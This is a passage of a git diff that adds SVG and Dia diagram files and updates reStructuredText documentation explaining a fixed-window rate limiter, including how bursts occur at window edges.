+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="805" y="170">
+      <tspan x="805" y="170">12:30</tspan>
+    </text>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="865" y="170">
+      <tspan x="865" y="170">13:00</tspan>
+    </text>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="485" y1="135" x2="945" y2="135"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="505" y1="125" x2="505" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="535" y1="130" x2="535" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="565" y1="125" x2="565" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="595" y1="130" x2="595" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="625" y1="125" x2="625" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="655" y1="130" x2="655" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="685" y1="125" x2="685" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="715" y1="130" x2="715" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="745" y1="125" x2="745" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="775" y1="130" x2="775" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="805" y1="125" x2="805" y2="145"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="835" y1="130" x2="835" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="865" y1="125" x2="865" y2="145"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="585" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="705" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="765" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="675" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="615" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #b2d4eb; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x="795" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="895" y1="130" x2="895" y2="140"/>
+    <line style="fill: none; stroke-opacity: 1; stroke-width: 2; stroke: #000000" x1="925" y1="125" x2="925" y2="145"/>
+    <text font-size="20.32" style="fill: #000000; fill-opacity: 1; stroke: none;text-anchor:middle;font-family:PT Sans Narrow;font-style:normal;font-weight:normal" x="925" y="170">
+      <tspan x="925" y="170">13:15</tspan>
+    </text>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="525" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="525" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="585" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="675" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="735" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="825" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="855" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="855" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="885" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="885" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="885" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="65" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="35" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="495" y="5" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="525" y="5" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="585" y="5" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="555" y="5" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="645" y="95" width="19.3548" height="20" rx="0" ry="0"/>
+    <rect style="fill: #f2f2f2; fill-opacity: 1; stroke-opacity: 1; stroke-width: 2; stroke-dasharray: 4; stroke: #b3b3b3" x="915" y="5" width="19.3548" height="20" rx="0" ry="0"/>
+  </g>
+</svg>
diff --git a/_images/sources/rate_limiter/fixed_window.dia b/_images/sources/rate_limiter/fixed_window.dia
new file mode 100644
index 0000000000000000000000000000000000000000..16282a2dcce2dc3cf58a40be13992366c2a10f48
GIT binary patch
literal 2356
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
ail<K>)*r;5Ny=tVAN~(zH@<Pi$N&Jno|C-*

literal 0
HcmV?d00001

diff --git a/_images/sources/rate_limiter/sliding_window.dia b/_images/sources/rate_limiter/sliding_window.dia
new file mode 100644
index 0000000000000000000000000000000000000000..e16275d89954159ea54000bf4de8826e9b3282d3
GIT binary patch
literal 2190
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
QvgzZ^e}s1x_UWns01%r;Gynhq

literal 0
HcmV?d00001

diff --git a/_images/sources/rate_limiter/token_bucket.dia b/_images/sources/rate_limiter/token_bucket.dia
new file mode 100644
index 0000000000000000000000000000000000000000..16761971337dbf6890ce0d2255b6d7c75bb125ca
GIT binary patch
literal 2752
zcmY+Gc{r47AIE1A<20DYiENpWNjb%sv4pHKI@XjD(#RxCwqjl;jAR|tv6RWKWF0Y4
zwhWF$gpoaa_MFCGQ1%y{^Iqq@|9P(K{@u_0``(}L_qne}ngRjr4G@@}=5TlX!{Knw
z%oWR4_7S?yGNyFZCca=&{t2PSw8#PETv!+z30qYc-5BiBhwwn4%Y0aWZA_`^;JksF
zF(<1laDA5M7;HW<;{LQP3++Ff5Yod5Yd#@m+&uYgr&v0e$z88K7qpI-JmC0#)I`LT
zG_Dr!zu0B4bDZVk$l;8RjPNdQXnp7+z>Fz>YE|#ZMox@fM^|xlg63A{q+&v~PF%NR
zick8B2#EUk|Ng-BM~5_T)+o}p3fs6<(o-;eg4$L1UA#ePi^ZZBZ*LW3ZM;l>w0!QM
z{1>Hzp`$`XkEk=FwS`>Ur))p1v}`UG-8||-G80_3-n4Tsb;F2K<C`aDbQW1tcGsAU
zuk^3fqv&{xPy+n;hF`<ChN(*(A;t=ayKo!no|Qw#ds0(9J#P2f6MF4$_1dF@le2Bp
z4_MWB`aI3?J|dUhGlNKvph+bE@!;x@{#V{6&<Twe?xjzF7Fr)|u#z?}M`>&-9(pOl
z7a&$k*)fu3W;ENO+a1$`j&7J10^i^Ts{c}15O2%ENvcwhUGQ-&FQ^K>(zR72t7!Xb
z&DW&q6iE}3^-6T$Ss;ImJmt1zyUxN_wklshfGy_j&g~K6pow{#dNON#Z0iTiPeN+;
z6m|)VwN(;oN<OT@e~aiJP%bNKmbgTCR%dy3lc?UZk{n<%3Weq|P!|#mp~gehk+zH8
zZ`uVWp51qyG52+~QMY~ia%3(;?Ry^c$v~mesGR^JkNIolVzrG<&n9zo(k5tATPWT;
zmP#TrrN6MM9p5T&zCT|y*vaT!4P$5qK3DU$W)PLnxOn^WIUVfT9vApFeCl3snV{Ga
zLE;80`cL@;b^Fg_;Fg*S@O=O2Eu%D`Z`k?1Qgvpl+jY}MzUb<%>Db`kJZa?v>>*p>
zzvy_Wipq22Z4vVxopPQfHq|2}k?;JA8wNY&(oBvXinAsAp=9~xXvz#HY$8&r@Z02>
zuQHVS!uc;VwFxw(<Z5&cZQ#xj`E1Z4URYmakw2ldk{yk#nm8U_1`LqPDJ>K*I-_zN
zfHKL!aht^DDX#CB@0AY|I$v;$9`#Mx4KUBCdWHpheR^^xQU6{g>X0jb33?*oZMJF9
z;NvL0q!@(+KKxub%E}h+WLS$*rWcvUl>MFrnNMm}unyJKPr8<GYI-fH0*H6AYjG|&
zOY&kln<uG1&X;Iu$bQm{$uw<GMESEX%14vrLt7^GlLj(PgAaDOo(OW6d-1hgiFA6K
z^?gV2fg%B>U>DHbtWf<x$o{3fc{}-6BgqX3U%r@%c~R1s!)+^5^MyElYL-=yEe9uQ
zo?+yg_$@d0MCzODCsW%?+pTw269b!k!_Z18q}IFqGw{Y$w5!D*h3w*k)c02KAT3l0
zO25MM&^YWQuCOERd>Q9ZQ}?W-EXztV<AyV~NlWs&+l&5Xk{fny{Xe9|Z)?|NIE;t3
zq>VwU#%Y(f8<K75*E<#0i*>zW(o#e1M$?~fJ=CB6gw2RsbGj-A4%?z2O*FuguDn0w
zkBk+I)fJj6)$xJr07?L81(3I*lX5r_h8l*#j8db4&SP&ffF-58yky`Fz>&;{z;ra2
z0QM#;l{^Bco^JTRQjIt-Oc;vr<?RquBJZx(#mh+wyo)=q`|hpwqgZLmcw)%C!?o!}
z^(KRzmt(OmiVoR-O2rj*w%@esoO!O^b;c~!!$jDVhE{g&6niYs>pEvIFBPXFJC$_x
z+=}YQ+#qD4g|=db%)Q1X1$`IxGw$en7aQv!`o*BHD!1?X&o+HZ)kVhqs#@bstZPsk
z!IwqXD_Y=CBd1Q?ZOIg$53{d)Mxo%*gMp%EQ~5>3snOL`dcNZX;mJ{J&YjiH!CAFM
zvqK`v!y~;)c?K_sC=uH`Gj~o3MpnG%%UZi1dCJu5ZQkR_C{|yI@7uxcJVA`l7q{HX
z<gA=cst1mH631<Yq!8m7{;)D`b=zgHIlWrOnmdjwz@HKv%~*q#so1w!TWcGaG7cLh
z*2~u@A0wEBp6&jn-mj{>Id{QwtKO#nM3~uq7sGyWBj3D3583D|S&7NxnpI)cEA@?S
z5D6WVe)WfJEl=5Be1umHrZ7cR2V)tZb0H}LIL&uGdC3FXRbg!}AGTp+3G*iP)B64G
zT-BT#GgoUF{<}J${3*ofJ#{MfRC@DLw;~}dE}IeMX$rCH$`pL_fRQ$Tr!$2wbyl>j
z-bjHkt|?pJt5je>MG%lx$yxHom&zHhF7!VY!`(#kON25Ul2?r#Fg*!Rryc0{6*>8B
z+bb61;NJB)6B<jrb31l5;<e6;t^5#jZq9wUvemh$?vKb%f{!igU%Bc6U;v&X0pR&J
zDrjR6o*jdNdsV^sKeUS@01yC(Ool_0es5E-9EL5Z!WJ}vK%w3B0HE%e2m+Cj-)MTN
z>sE@}K(%nsYq0`XFo+C5cpZdgx~=luGX{Os4ne`MviV<Y!DCY~`<(zl3@p}yy=rC%
z+CB>(vq8!LrQ-nmt@=*>(l}{x%?n(~xu3StE-+QYwe}g+@EK)!Vb*SnJc=43=C%Y9
zTPJHYkyACA9|Cpg;%axh|C2K9HneJk@hHF3QxQdV8_Fs0*34@hu5=q}y=+<DQTIyH
zB`rd4*j)0XcWlI`^g7aqXq{v*$E9ksYrQT-cEMwCj-H#TRKDGFrKOKv+&y1ENB>p`
z+&c;Yk{3cQ<^@&B0&Cje<smwjuw+>w@E(B>2{NF(TbKMak_W2|&y<Sf@zRyvFSr|!
z^F9lA2!u?f>+*;6r0ae>hR|@|-wgnALm&bbjU!7!w1LD@<e0CMMcw=KpXV<J0CRR*
zedif!ODFe5X#+(`KQ#=2cq)=x*j2R9%@rTZ%azQjk9y}4Lw8L8z$y+v`rTxJPEHz;
z-L%l#e1A{xTWV~^G#bvX>d(0($}!A89X^HFx4;7k>O_Vo-F$wDR;n=Ym*4I)l#2VO
zl>Pu|W6g%ajIfuB;}S_Ab~yRpFqWfm$6D59fjDP}*EHW_@Yu9}d_4|h{Dy&bR3k0*
zZ&V^J^)iP^pxxVQFGB!CCNIcP?+_9EQSW}Kq%(0>?M)5HJ}o;k;4&CE90zcu#TV@Z
z&U%dA&%;k14Tf^Mb8!H+t{nO9PaO6Vpe5FFsTlz}m_o(n3QN3GRSgIJ4+bKWr14>d
z0M$(EKT`He8M-H+?l;{!D=^SW298+4lKl|yIv?22%!QNb)6Y<eQAmpI3X&2hsAb!#
zFSj53x+llR^8NE-@Z)-1n=L)=3$Rc!-(K=}p{w%T$7H|oHK=nm$UJ#`*a!0CZ+q1M
zz^04V7Y0y^mSXg6OR>(7h?ac-0LZTFUF>2QFQ=<V^39<ty<x)d{>|r-nO`hk=6rWS
sZe+aRi%1#x{%58u2%2JfFC4w~M@EZu!`^?Rw9b|g99k(euLlJD7hTW&ssI20

literal 0
HcmV?d00001

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 63e073a1e92..1d54faba331 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -28,22 +28,44 @@ Fixed Window Rate Limiter
 ~~~~~~~~~~~~~~~~~~~~~~~~~
 
 This is the simplest technique and it's based on setting a limit for a given
-interval of time. For example: 5,000 requests per hour or 3 login attempts
-every 15 minutes.
+interval of time (e.g. 5,000 requests per hour or 3 login attempts every 15
+minutes).
+
+In the diagram below, the limit is set to "5 tokens per hour". Each window
+starts at the first hit (i.e. 10:15, 11:30 and 12:30). As soon as there are
+5 hits (the blue squares) in a window, all others will be rejected (red
+squares).
+
+.. raw:: html
+
+    <object data="../_images/rate_limiter/fixed_window.svg" type="image/svg+xml"></object>
 
 Its main drawback is that resource usage is not evenly distributed in time and
-it can overload the server at the window edges. In the previous example, a user
-could make the 4,999 requests in the last minute of some hour and another 5,000
-requests during the first minute of the next hour, making 9,999 requests in
-total in two minutes and possibly overloading the server. These periods of
-excessive usage are called "bursts".
